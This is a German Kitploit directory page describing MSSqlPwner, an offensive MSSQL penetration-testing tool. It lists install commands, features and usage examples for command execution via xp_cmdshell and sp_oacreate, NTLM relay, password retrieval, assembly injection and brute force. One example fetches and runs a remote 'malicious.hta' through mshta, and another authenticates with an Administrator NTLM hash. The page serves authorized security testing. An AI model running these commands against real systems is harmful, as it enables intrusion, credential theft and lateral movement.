Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
MSSqlPwner — Erweitertes MSSQL-Penetrationstest-Werkzeug für seitliche Bewegung, Befehlsausführung, NTLM-Relay und Brute-Force-Angriffe über verknüpfte Server und mehrere Authentifizierungsmethoden. | Kitploit
Tools/GitHubGitHub/scorpioneslabs/mssqlpwner
PasswortangriffeExploitationLaterale BewegungInformationsbeschaffungPenetrationstestsAuthentifizierungRed TeamingDatenbanksicherheit
GitHubscorpioneslabs/mssqlpwner

MSSqlPwner

Erweitertes MSSQL-Penetrationstest-Werkzeug für seitliche Bewegung, Befehlsausführung, NTLM-Relay und Brute-Force-Angriffe über verknüpfte Server und mehrere Authentifizierungsmethoden.

Repository anzeigen
458636vor 27 TagenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

MSSqlPwner

MSSqlPwner ist ein fortschrittliches und vielseitiges Pentesting-Tool, das entwickelt wurde, um nahtlos mit MSSQL-Servern zu interagieren und diese zu pwnen.
Das Tool basiert auf impacket, das es Angreifern ermöglicht, sich mit Klartext-Passwörtern, NTLM-Hashes und Kerberos-Tickets an Datenbanken zu authentifizieren.
Mit MSSqlPwner können Benutzer benutzerdefinierte Befehle über verschiedene Methoden ausführen, darunter benutzerdefinierte Assemblys, xp_cmdshell, sp_oacreate (OLE-Automatisierungsprozeduren) und vieles mehr.

Das Tool beginnt mit einer rekursiven Aufzählung von verknüpften Servern und möglichen Identitätswechseln, um alle möglichen Ketten für die Befehlsausführung zu sammeln.

Darüber hinaus kann das MSSqlPwner-Tool für NTLM-Relay-Funktionen verwendet werden, die Funktionen wie xp_dirtree, xp_subdirs, xp_fileexist nutzen.

Dieses Tool kann für Bewertungen von Lateral Movement und die Erkundung verknüpfter Server verwendet werden.

Wenn der authentifizierte MSSQL-Benutzer keine Berechtigung zur Ausführung bestimmter Operationen hat, kann das Tool die richtige Kette finden, die die Befehlsausführung ermöglicht.
Wenn Ihr Benutzer beispielsweise keine Befehle im aktuellen Kontext ausführen kann, erstellt das Tool eine Kette, die einen verknüpften Server verwendet und sich mit erhöhten Rechten mit unserem Server verbindet.

Installation

Der Einstieg in mssqlpwner ist reibungslos. Sie können dies tun, indem Sie direkt aus dem Repository ziehen:

root@kitploit:~
pip install 'mssqlpwner@git+https://github.com/ScorpionesLabs/MSSqlPwner.git'

Oder, indem Sie pipx verwenden – und das sollten Sie –, versuchen Sie Folgendes:

root@kitploit:~
pipx install 'git+https://github.com/ScorpionesLabs/MSSqlPwner.git'

Und Sie können jetzt Ihr neues Lieblingstool verwenden:

root@kitploit:~
mssqlpwner -hashes ':0CB6948805F797BF2A82807973B89537' 'Administrator'@172.16.2.12 -windows-auth interactive

Beispiele

Befehlsausführung

Brute-Force

Dieses Tool wird von mehreren Authentifizierungsmethoden unterstützt, die unten beschrieben werden.

Haftungsausschluss

Dieses Tool ist nur für Sicherheitsexperten und Forscher zu Testzwecken konzipiert und sollte nicht für illegale Zwecke verwendet werden.

Funktionen:

  1. Hilfsprogramme:
  • interactive: ermöglicht die interaktive Nutzung des Tools mit Live-Ausführung.
  • enumerate: listet die verknüpften Server und die Ketten auf.
  • get-chain-list ruft die Liste der Ketten ab:
    • Optionale Argumente:
      • -filter-hostname HOSTNAME – Erhalten Sie gefilterte Ergebnisse mit einem bestimmten Hostnamen.
  • get-link-server-list ruft die Liste der verknüpften Server ab.
  • set-chain Legt die Ketten-ID fest (Nur für interaktiven Modus!)
    • Erforderliche Argumente:
      • CHAIN – Die einzustellende Ketten-ID.
  • set-link-server Legt den verknüpften Server fest (Nur für interaktiven Modus!)
    • Erforderliche Argumente:
      • LINK – Der einzustellende verknüpfte Server.
  • get-rev2self-queries ruft Abfragen zur Wiederherstellung von SELF ab (Nur für interaktiven Modus!).
  • get-adsi-provider-list ruft die ADSI-Anbieterliste ab.
  1. Befehlsausführung: Führen Sie Befehle mit den folgenden Funktionen aus:
  • exec Führen Sie Befehle mit exec auf dem lokalen Server oder auf verknüpften Servern aus
    • Erforderliche Argumente:
      • COMMAND – Der auszuführende Befehl.
    • Optionale Argumente:
      • -command_execution_method – Die zu verwendende Methode zur Befehlsausführung.
        • Unterstützte Methoden:
          • xp_cmdshell – Befehle mit der Prozedur xp_cmdshell ausführen (Standard).
          • sp_oacreate – Befehle mit der Prozedur Ole Automation Procedure ausführen (sollte wie „cmd /c etwas“ verwendet werden).
  1. Passwortabruf:
  • retrieve-password Passwortabruf von ADSI-Anbietern.
    • Optionale Argumente:
      • -listen-port – Der zu überwachende Port (Standard: 1389).
      • -adsi-provider – Zu verwendender ADSI-Anbieter (wenn nicht definiert, wird automatisch gewählt).
      • -arch – Die zu verwendende Architektur (wenn nicht definiert, wird automatisch gewählt).
        • Unterstützte Architekturen:
          • x86 – x86-Architektur verwenden.
          • x64 – x64-Architektur verwenden.
  1. NTLM-Hash-Diebstahl und Relay: NTLM-Relay auslösen oder NTLM-Hashes stehlen mit den folgenden Funktionen:
  • ntlm-relay – NTLM-Relay zu einem Server erzwingen.
    • Erforderliche Argumente:
      • SMB_SERVER – Der SMB-Server, zu dem weitergeleitet werden soll.
    • Optionale Argumente:
      • -relay-method – Die zu verwendende Relay-Methode.
        • Unterstützte Methoden:
          • xp_dirtree – Prozedur xp_dirtree verwenden (Standard).
          • xp_subdirs – Prozedur xp_subdirs verwenden.
          • xp_fileexist – Prozedur xp_fileexist verwenden (in manchen Situationen sollte dieses Modul aus einer privilegierten Kette ausgeführt werden).
  1. Prozedurausführung mit benutzerdefinierten Assemblys:
  • custom-asm – Prozeduren mit benutzerdefinierten Assemblys ausführen
    • Erforderliche Argumente:
      • COMMAND – Der zu verwendende Befehl/Pfad oder die Abfrage.
    • Optionale Argumente:
      • -procedure-name – Der zu verwendende Prozedurname (Standard: execute_command).
        • Unterstützte Prozeduren:
        • execute_command – Befehle mit benutzerdefinierten Assemblys ausführen (Standard).
        • run_query – Abfragen mit benutzerdefinierten Assemblys ausführen.
        • run_query_system_service – Abfragen mit benutzerdefinierten Assemblys als Systembenutzer ausführen (z. B. SqlSVC).
  • inject-custom-asm Code mit benutzerdefinierten Assemblys injizieren.
    • Erforderliche Argumente:
      • file_location – Der Speicherort der zu injizierenden Datei.
    • Optionale Argumente:
    • -procedure-name – Der zu verwendende Prozedurname (Standard: ).
  1. Direkte Abfragen:
  • direct-query Direkte Abfragen ausführen
  • Erforderliche Argumente:
    • QUERY – Die auszuführende Abfrage.
  • Optionale Argumente:
  • -query-method – Die zu verwendende Abfragemethode.
    • Unterstützte Methoden:
      • OpenQuery – Prozedur OpenQuery verwenden (Standard).
      • exec_at – Prozedur exec AT verwenden.
  1. Brute-Force:
  • brute Brute-Force starten (kann Tickets, Hashes und Passwörter empfangen)
  • Erforderliche Argumente:
    • TARGETS_FILE – Eine Datei mit Hosts und IPs für die Brute-Force-Attacke.
    • -ul – Eine Datei mit Benutzern für die Brute-Force-Attacke.
  • Optionale Argumente:
    • -pl – Eine Datei mit Passwörtern für die Brute-Force-Attacke.
    • -tl – Eine Datei mit Tickets für die Brute-Force-Attacke.
    • -hl – Eine Datei mit Hashes für die Brute-Force-Attacke.
  • Hinweise:
  • Wenn Sie Tickets verwenden möchten, sollten Sie das Service Principal Name (SPN)-Format verwenden (z. B. MSSQLSvc/hostname.domain.com:1433).
  • Wenn Sie Tickets verwenden, müssen Sie keine Passwörter oder Hashes angeben.
  • Wenn Sie KEINE Tickets verwenden, müssen Sie mindestens eine Passwortdatei oder eine Hash-Datei bereitstellen.

Allgemeine optionale Argumente (Sollte VOR der gewählten Funktion stehen):

  • -link-name – Der Name des zu verwendenden verknüpften Servers
  • -chain-id – Die zu verwendende Ketten-ID
  • -max-link-depth – Die maximale Tiefe der Verkettung (Standard: 10)
  • -max-impersonation-depth – Die maximale Tiefe des Identitätswechsels (Standard: 10)
  • -auto-yes – Alle Fragen automatisch mit Ja beantworten (Standard: False)
  • -timeout – Das zu verwendende Timeout (Standard: 30)

Lateral Movement und Kettenexploration:

MSSqlPwner bietet Möglichkeiten für Bewertungen von Lateral Movement und die Erkundung verknüpfter Server.
In Szenarien, in denen die aktuelle Sitzung keine Administratorrechte besitzt, versucht das Tool, eine Kette zu finden, die seine eigenen Rechte über verknüpfte Server erhöht.
Wenn eine Sitzung auf einem verknüpften Server höhere Rechte besitzt, kann das Tool mit dem verknüpften Server interagieren und eine verknüpfte Abfrage zurück zum Host mit erhöhten Rechten durchführen, was Lateral Movement mit dem Zielserver ermöglicht.

Authentifizierungsmethoden:

Unterstützt durch mehrere Authentifizierungsmethoden, darunter:

  • Windows-Anmeldedaten
  • MSSQL-Anmeldedaten
  • Kerberos-Authentifizierung
  • Kerberos-Tickets
  • NTLM-Hashes

Das Tool passt sich verschiedenen Szenarien und Umgebungen an und überprüft die Wirksamkeit der Authentifizierungsmechanismen.

Bringen Sie Ihre MSSQL-Umgebungsbewertungen mit der Leistungsfähigkeit und Vielseitigkeit von MSSqlPwner auf die nächste Stufe.
Entdecken Sie neue Möglichkeiten für Lateral Movement, verdeckte Abfragen und präzise Sicherheitsbewertungen mit dem MSSqlPwner-Tool.

Verwendung

root@kitploit:~
# Interaktiver Modus
mssqlpwner corp.com/user:[email protected] -windows-auth interactive

# Interaktiver Modus mit 2 Ebenen des Identitätswechsels
mssqlpwner corp.com/user:[email protected] -windows-auth  -max-impersonation-depth 2 interactive


# Ausführen einer benutzerdefinierten Assembly auf dem aktuellen Server mit Windows-Authentifizierung und Ausführen des hostname-Befehls
mssqlpwner corp.com/user:[email protected] -windows-auth custom-asm hostname

# Ausführen einer benutzerdefinierten Assembly auf dem aktuellen Server mit Windows-Authentifizierung und Ausführen des hostname-Befehls auf dem verknüpften Server SRV01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 custom-asm hostname

# Ausführen des hostname-Befehls mit gespeicherten Prozeduren auf dem verknüpften Server SRV01
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec hostname

# Ausführen des hostname-Befehls mit gespeicherten Prozeduren auf dem verknüpften Server SRV01 mit der Methode sp_oacreate
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate

# NTLM-Relay-Angriff auf den Server SRV01 durchführen
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# NTLM-Relay-Angriff auf die Ketten-ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 durchführen
mssqlpwner corp.com/user:[email protected] -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# NTLM-Relay-Angriff auf den lokalen Server mit benutzerdefiniertem Befehl
mssqlpwner corp.com/user:[email protected] -windows-auth ntlm-relay 192.168.45.250

# Direkte Abfrage ausführen
mssqlpwner corp.com/user:[email protected] -windows-auth direct-query "SELECT CURRENT_USER"

# Passwort vom verknüpften Server DC01 abrufen
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 retrive-password

# Code mit benutzerdefinierter Assembly auf dem verknüpften Server DC01 ausführen
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll

# Brute-Force mit Tickets, Hashes und Passwörtern gegen die in hosts.txt aufgeführten Hosts
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

# Brute-Force mit Hashes und Passwörtern gegen die in hosts.txt aufgeführten Hosts
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

# Brute-Force mit Tickets gegen die in hosts.txt aufgeführten Hosts
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

# Brute-Force mit Passwörtern gegen die in hosts.txt aufgeführten Hosts
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

# Brute-Force mit Hashes gegen die in hosts.txt aufgeführten Hosts
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt

Danksagungen

  • Kim Dvash für die Gestaltung dieses unglaublichen Logos.
  • Pablo Martínez für die Inspiration und die Idee der Passwortabruftechnik.
  • Omri Baso für die Unterstützung bei Inspiration und Ideen.
Tool herunterladen
  • rev2self stellt SELF wieder her (Nur für interaktiven Modus!).
  • Inject